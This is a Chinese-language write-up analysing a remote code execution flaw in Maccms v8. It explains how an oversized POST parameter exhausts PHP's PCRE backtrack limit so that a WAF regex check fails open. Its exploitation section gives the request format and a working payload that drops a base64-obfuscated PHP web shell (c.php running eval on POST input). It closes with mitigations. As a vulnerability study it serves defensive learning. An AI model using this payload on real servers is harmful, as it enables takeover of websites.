maccms v8 80w 字符的 RCE 分析
字数 1461 2025-08-26 22:11:51
Maccms v8 80万字符RCE漏洞分析与利用教学
0x01 漏洞概述
Maccms v8存在一个通过正则回溯绕过安全防护的远程代码执行漏洞,攻击者可以通过构造超长字符串(约80万字符)触发PCRE回溯限制,绕过360 WAF防护,最终实现任意代码执行。
0x02 正则回溯原理
正则引擎类型
-
DFA(确定型有穷自动机)
- 线性时间执行,不回溯
- 文本主导匹配
- 不支持捕获组等高级特性
- 示例:awk, egrep, MySQL等使用
-
NFA(不确定型有穷自动机)
- 正则表达式主导匹配
- 支持回溯和高级特性
- 最坏情况下性能较差
- 示例:PHP, Java, Python, .NET等使用
回溯机制详解
回溯发生在NFA引擎中,当正则表达式匹配失败时,会回退到之前保存的状态尝试其他匹配路径。
示例1:
正则:/.*?b/ 匹配字符串 "aab"
.*?非贪婪匹配,先尝试不匹配任何字符b匹配失败- 回溯:
.*?匹配一个字符'a' b再次匹配失败- 继续回溯直到匹配成功
示例2:
正则:/UNION.+?SELECT/is 匹配 "UNION/panda/SELECT"
- 匹配"UNION"
.+?非贪婪匹配,尝试不匹配任何字符S匹配'/'失败- 回溯:
.+?匹配'/' S匹配'*'失败- 继续回溯直到匹配成功
PHP PCRE配置
PHP中有两个关键配置控制回溯行为:
pcre.backtrack_limit:默认100,000(PHP 5.2.0+)pcre.recursion_limit:默认100,000(PHP 5.2.0+)
当回溯次数超过backtrack_limit时,正则匹配会失败而非返回匹配结果。
0x03 漏洞分析
漏洞利用链
- 通过POST请求传入超长wd参数
- 绕过360 WAF的正则检测
- 通过模板引擎的eval执行任意代码
关键代码分析
漏洞入口:/index.php?m=vod-search
处理流程:
- 参数通过
be()函数处理,进行addslashes转义 - 进入
chkSql()函数进行安全检测 - 绕过检测后进入模板处理
$tpl->ifex() - 最终在eval中执行代码
360 WAF绕过点:
function StopAttack($StrFiltKey, $StrFiltValue, $ArrFiltReq) {
if(preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
chkShow();
}
}
关键正则部分:
UNION([\s\S]*?)SELECT
通过构造超长字符串使回溯次数超过pcre.backtrack_limit,导致preg_match返回false而非1,从而绕过检测。
漏洞利用条件
- 使用非默认模板
- PHP版本兼容(某些版本可能无法利用)
- 能够发送超长POST请求(约80万字符)
0x04 漏洞利用
利用步骤
-
构造特殊格式的POST请求:
POST /index.php?m=vod-search wd=union(80w个a){if-A:payload}{endif-A} -
Payload构造:
- 必须包含
{if-A:和}{endif-A} - 实际代码放在
if-A:后面 - 示例:
这会在当前目录创建c.php文件,内容为{if-A:print(fputs(fopen(base64_decode('Yy5waHA'),'w'),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x')))}{endif-A}<?php @eval($_POST[c]); ?>1
- 必须包含
-
发送请求时需要确保字符串长度足够触发回溯限制
注意事项
- 实际测试可能需要调整字符长度(原文80万不够可能需要1000万)
- 不同PHP版本行为可能不同
- 必须使用非默认模板才能触发漏洞
0x05 防御措施
- 升级到最新版本Maccms
- 修改PCRE配置限制:
pcre.backtrack_limit=1000 pcre.recursion_limit=1000 - 对输入长度进行严格限制
- 避免在模板引擎中使用eval等危险函数
- 使用更严格的正则表达式,避免使用
.*?等易导致回溯的语法
0x06 参考链接
- 利用PCRE回溯限制绕过安全限制
- PCRE官方文档
- PHP安全编程指南